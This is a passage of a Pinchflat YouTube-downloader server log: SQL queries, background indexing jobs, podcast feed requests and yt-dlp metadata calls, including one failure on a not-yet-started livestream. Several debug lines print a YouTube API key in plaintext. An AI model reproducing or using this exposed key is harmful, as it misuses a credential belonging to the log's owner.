s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:50:09.033 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:50:09.276 [debug] QUERY OK source="media_items" db=0.7ms idle=243.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [12, "1MNtfa4Vz3A", "SMPOq2HLKUA", "J0Jqwz1TYWY", "pWDda2xpEMs", "T7iG4HQX1k0", "y5HI3H-HonQ", "BDp3y1ESUgs", "tQXkGF1aj6g", "Dr8H7Mk0mlQ", "r8fCHfCYDM8", "zNFfKizSREg", "wynxywGRI4s", "wJruCJeJfhs", "65-gDU6-KDk", "ESky67qiImY", "YH1c3ui1YSw", "JCDjCkqhVsY", "yD5jWchlMJU", "AvdTb-b0K1Y", "r_GPHfEGYs8", "asbD9Y76skM", "tPava4N8yTA", "zDjFEJc_Wko", "lKt1uRckoK0", "X_VZkrKSxuE", "ub4JMolyisQ", "yRqmozs41jw", "EUkZGw-Ogtw", "FcaiBjj8sFU", "wzDc7xge5YI", "DRIN_5Cyfdw", "8148SmsqtPM", "4Xv2V0Ci-lM", "qHEh5yYRVpg", "Ipkp8QTQWAo", "tpdd_YDkHHM", "u4f2nkXMrfo", "pNfgQ-KqHR4", "T_u143DsQMA", "UwXJe1PjsxQ", "Yc0D5TR3fc0", "-t6uMUCLPrE", "AtOWpZbW7TY", "D46EY7Jk95E", "ZouMQaeHss4", "BYlKyhWoaak", "GQyCEfs1Uvo", "FfStumRlass", "KhM0q0vsitA", ...] 16:50:09.277 [debug] QUERY OK source="media_items" db=0.5ms idle=244.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [12] 16:50:09.278 [debug] QUERY OK source="tasks" db=0.1ms idle=245.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268328, 12, ~U[2026-10-09 21:50:09Z], ~U[2026-10-09 21:50:09Z]] 16:50:09.278 [info] {"args":{"id":12},"id":5268289,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":246291,"event":"job:stop","queue_time":483859,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:50:10.033 [info] {"args":{"id":41},"id":5268290,"meta":{},"system_time":1791582610033207254,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:50:10.033 [debug] QUERY OK source="sources" db=0.1ms idle=754.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [41] 16:50:10.033 [debug] QUERY OK source="settings" db=0.1ms idle=754.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:50:10.033 [debug] QUERY OK source="media_profiles" db=0.0ms idle=748.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:50:10.033 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:50:10.034 [debug] Fetching recent media IDs from YouTube API for playlist: UUBPQEmXGMQ94cVvWwNaJYvA 16:50:10.034 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:50:10.034 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:50:10.359 [debug] QUERY OK source="media_items" db=0.6ms idle=324.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [41, "JzQIZDkMcGs", "FQmnCsKHeG4", "mDxWgesjlhk", "FYehYs0_1KY", "s_zRjrdFDSc", "RRrz6zuf6Ms", "WxhkLxoNKyM", "N2v0F3yDQqs", "vI34WDt4FIs", "2soMwflGs20", "8BnHbb9-pGQ", "A4jElvPYtBA", "dpy_KlWECoQ", "Lg__qeD2DME", "58B0tLPJCks", "ANs2vOmL5Ds", "yg5DTXQFo0A", "hfp0UFJYSa0", "NT5RQQvxt-Q", "i2Yucp8hNkQ", "KHmMhUnn9LA", "u1RphBMOI7I", "bpGWAQAXSgw", "8jitxV6EzIw", "CKeWRRzBzYM", "48OxK622Acw", "KP1yTKNgcGs", "szB93HcgTwA", "5MRtnqJZXMQ", "vvnXGva7F7s", "cowwaMFuCxI", "hDLWxg2jZuw", "Ugfy9IbfNJ4", "9yYf6Q1Ay9Y", "_oICJSV5GIk", "M4NaZ8oCVuA", "19X5MGLYsEc", "XEAA5G7Pg_k", "vK_30G0UBE8", "cMvgKmq5W0k", "-BhNFwmmO2w", "idQMPGx0dak", "I70OKWI0bdw", "98pFoaJbgpg", "MEUsYtWp1jU", "9i8mDxZqGq8", "cW-9xdvTrLU", "0-9BasVcJmQ", "hOKH5x9wbEY", ...] 16:50:10.360 [debug] QUERY OK source="media_items" db=0.9ms idle=326.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [41] 16:50:10.361 [debug] QUERY OK source="tasks" db=0.1ms idle=327.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268329, 41, ~U[2026-10-09 21:50:10Z], ~U[2026-10-09 21:50:10Z]] 16:50:10.361 [info] {"args":{"id":41},"id":5268290,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":328231,"event":"job:stop","queue_time":315888,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:50:15.105 [info] {"source":"oban","duration":9867,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":8} 16:50:16.844 [info] GET /sources/2373d096-97ad-46b0-b2be-43416605c93f/feed.xml 16:50:16.844 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "2373d096-97ad-46b0-b2be-43416605c93f"} Pipelines: [:maybe_basic_auth] 16:50:16.845 [debug] QUERY OK source="sources" db=0.2ms idle=1150.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["2373d096-97ad-46b0-b2be-43416605c93f"] 16:50:16.846 [debug] QUERY OK source="media_items" db=1.3ms idle=1151.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [26, 2000] 16:50:16.851 [debug] QUERY OK source="source_metadata" db=0.1ms idle=1157.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [26] 16:50:16.851 [debug] QUERY OK source="media_metadata" db=0.0ms idle=818.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577903] 16:50:16.852 [info] Sent 200 in 7ms 16:50:45.115 [info] {"source":"oban","duration":9772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:57.983 [info] GET /sources/23662757-adf4-4a33-adf1-b92fb2169582/feed.xml 16:50:57.983 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "23662757-adf4-4a33-adf1-b92fb2169582"} Pipelines: [:maybe_basic_auth] 16:50:57.983 [debug] QUERY OK source="sources" db=0.1ms idle=1289.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["23662757-adf4-4a33-adf1-b92fb2169582"] 16:50:57.990 [debug] QUERY OK source="media_items" db=6.3ms idle=1289.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [37, 2000] 16:50:58.018 [debug] QUERY OK source="source_metadata" db=0.0ms idle=1324.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [37] 16:50:58.018 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1324.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577913] 16:50:58.019 [info] Sent 200 in 36ms 16:51:00.417 [info] {"source":"oban","duration":301,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:51:13.943 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/a4/86/a4862de06a3890f937d10045cb30f0ac74902907af33225f41915c0b5b22dca4.json --sleep-requests 71 --sleep-interval 68 --sleep-subtitles 71 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments. 16:51:13.943 [error] Error creating media item 'b4CKcXNSNRc' from URL: {:error, "ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments.\n", 1} 16:51:13.943 [debug] QUERY OK source="media_items" db=0.4ms idle=853.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [19] 16:51:13.944 [debug] QUERY OK source="tasks" db=0.3ms idle=250.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268330, 19, ~U[2026-10-09 21:51:13Z], ~U[2026-10-09 21:51:13Z]] 16:51:13.945 [info] {"args":{"id":19},"id":5268287,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":134998717,"event":"job:stop","queue_time":830936,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:51:15.125 [info] {"source":"oban","duration":9671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:26.109 [info] {"args":{"id":42},"id":5268291,"meta":{},"system_time":1791582686109811352,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:51:26.110 [debug] QUERY OK source="sources" db=0.2ms idle=416.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [42] 16:51:26.110 [debug] QUERY OK source="settings" db=0.1ms idle=416.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:51:26.110 [debug] QUERY OK source="media_profiles" db=0.1ms idle=416.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:51:26.110 [debug] QUERY OK source="settings" db=0.1ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:51:26.110 [debug] Fetching recent media IDs from YouTube API for playlist: UUWKveACEz1euuOk5eyzzvTg 16:51:26.111 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:51:26.111 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:51:26.188 [debug] QUERY OK source="media_items" db=0.3ms idle=78.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?)) [42, "eF6hxEXwgso", "Wzir-lrTI9A", "JAvHibORZ50", "yHFjcHZ1cN0", "NaDPMZKXcBU", "ArxhS4SQaP0", "KTlRBI2QCzM", "pcPzmDePH3E", "umQ39BhcyMM", "UCI7N70tNRE"] 16:51:26.189 [debug] QUERY OK source="settings" db=0.1ms idle=78.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:51:26.189 [debug] QUERY OK source="settings" db=0.0ms idle=78.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:51:26.189 [debug] Running yt-dlp command for action: get_media_attributes 16:51:26.189 [debug] QUERY OK source="settings" db=0.0ms idle=78.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:51:26.189 [debug] QUERY OK source="settings" db=0.1ms idle=78.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:51:26.190 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:51:26.190 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Wzir-lrTI9A --simulate --skip-download --output /downloads/Tick Talk w/ Eric Migicovsky/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/10/77/107787a04355e6620ae68993e3cda0b5b69786c7c5c2315084c9f55e90b86b97.json --sleep-requests 65 --sleep-interval 63 --sleep-subtitles 85 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:51:37.483 [info] GET /sources/1b5043dd-323a-4290-b9d6-fcb820d902a3/feed.xml 16:51:37.484 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "1b5043dd-323a-4290-b9d6-fcb820d902a3"} Pipelines: [:maybe_basic_auth] 16:51:37.484 [debug] QUERY OK source="sources" db=0.1ms idle=1790.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["1b5043dd-323a-4290-b9d6-fcb820d902a3"] 16:51:37.495 [debug] QUERY OK source="media_items" db=10.7ms idle=1790.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [2, 2000] 16:51:37.549 [debug] QUERY OK source="source_metadata" db=0.0ms idle=1855.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [2] 16:51:37.549 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1436.2ms SELECT m0."id", 